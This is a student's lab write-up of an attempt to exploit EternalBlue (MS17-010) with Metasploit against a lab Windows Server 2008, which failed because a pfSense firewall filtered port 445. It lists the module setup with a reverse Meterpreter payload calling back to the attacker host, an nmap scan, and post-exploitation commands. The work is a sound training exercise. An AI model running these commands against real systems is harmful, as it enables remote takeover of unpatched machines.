Metasploit (EternalBlue) Lab Report

Name: Dylan Tran

Overview

For this lab I used Metasploit to try and exploit the MS17-010 (EternalBlue) vulnerability on a Windows Server 2008. I ran everything from the External Attacker Kali (192.168.217.3) and the target was the Windows Server at 192.168.10.11, with a pfSense firewall in between the two subnets. I started by powering on all three VMs (Kali, pfSense, and the Windows Server), then opened msfconsole and set up the exploit the way the instructions said to.

Exploit Configuration

Once msfconsole loaded I picked the EternalBlue module and set all the options. Here are the commands I ran:

```
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/reverse_tcp
set RHOST 192.168.10.11
set LHOST 192.168.217.3
set LPORT 4498
```

Basically, RHOST is the target server I'm attacking, the payload is the reverse Meterpreter shell the lab wanted, LHOST is my own Kali box that the shell connects back to, and LPORT is 4498 like the instructions said. RPORT stayed on 445 since that's the SMB port EternalBlue goes after.

Screenshot: msfconsole with the module and options being set

Before actually running it I did show options just to make sure everything was set right.

```
show options
```

Screenshot: show options output (RHOST, LHOST, LPORT, payload all set)

Findings: Everything checked out — RHOSTS 192.168.10.11, RPORT 445, the reverse_tcp payload, LHOST 192.168.217.3, LPORT 4498, and the target on Automatic. It all matched what the assignment asked for.

Running the Exploit

With everything set, I went ahead and ran it:

```
exploit
```

Screenshot: exploit attempt output

Findings: It didn't create a session. It started the reverse TCP handler on 192.168.217.3:4498, but then I got "Rex::HostUnreachable: The host (192.168.10.11:445) was unreachable," then "The target is not vulnerable," and "Exploit completed, but no session was created." The HostUnreachable part is the real reason — it couldn't even reach port 445 on the target, so it never got a chance to actually run the exploit.

Troubleshooting

To see why port 445 was unreachable, I scanned just that port from Kali:

```
nmap -Pn -p 445 192.168.10.11
```

Screenshot: nmap scan of port 445

Findings: The host showed as up, but 445/tcp came back "filtered." Filtered basically means a firewall is quietly dropping the traffic instead of the port being open or closed. I also checked the pfSense console and it showed WAN on

192.168.217.2 (my Kali's side) and LAN on 192.168.10.2 (the target's side), so the firewall is sitting right between the attacker and the target. Since my Kali is on the WAN side, pfSense is blocking SMB (port 445) from getting to the server, which is what killed the exploit.

Post-Exploitation (Task 3)

Task 3 only works if the exploit actually lands and you get a Meterpreter session. If you do get one, these are the commands that handle the required tasks:

```
screenshot      # saves a picture of the target's screen, viewable on Kali
getpid          # shows the process ID Meterpreter is running in
sysinfo         # shows the system name and OS type
```

[If you end up getting a Meterpreter session (like from the Internal Kali or after a firewall rule gets added), paste the screenshot, getpid, and sysinfo screenshots here with a quick one-liner for each. If you never got a session, just delete this note and leave the explanation above.]

Screenshot: Meterpreter session + post-exploitation commands (if successful)

Reflection

Even though the exploit didn't land, this lab taught me a lot about how the whole process works in Metasploit. The biggest thing I took away is that setting up the attack right is only half the battle — the network path between you and the target matters just as much. My config was correct (I double-checked it with show options), but it still failed because pfSense filtered port 445, and EternalBlue has to reach SMB on that port to do anything.

Honestly, that failure is a pretty good example of defense in depth. The Windows Server 2008 is old and probably not patched against MS17-010, but the firewall in front of it still stopped an outside attacker from ever reaching the vulnerable service. It's the same thing I saw in the Nmap lab, where everything came back filtered from the External Kali. It shows that network segmentation and firewalls can protect a weak system even when the system itself hasn't been fixed — though realistically you'd still want to patch it AND filter the traffic, not just rely on one.

Reading the output the right way mattered too. The "target is not vulnerable" line was kind of misleading, since Metasploit never actually reached the host to test it — the HostUnreachable message right above it was the real cause. Catching that, and backing it up with the Nmap scan showing 445 filtered, is how I figured out it was the firewall and not something wrong with my setup.

Conclusion

I set up and ran the EternalBlue exploit exactly how the lab wanted, but it got blocked by the pfSense firewall filtering SMB between the two subnets, so I didn't get a session from the External Kali. Even though it didn't work, I still got good practice with the Metasploit workflow and a solid real-world example of how a firewall can shut down an attack on an otherwise vulnerable machine.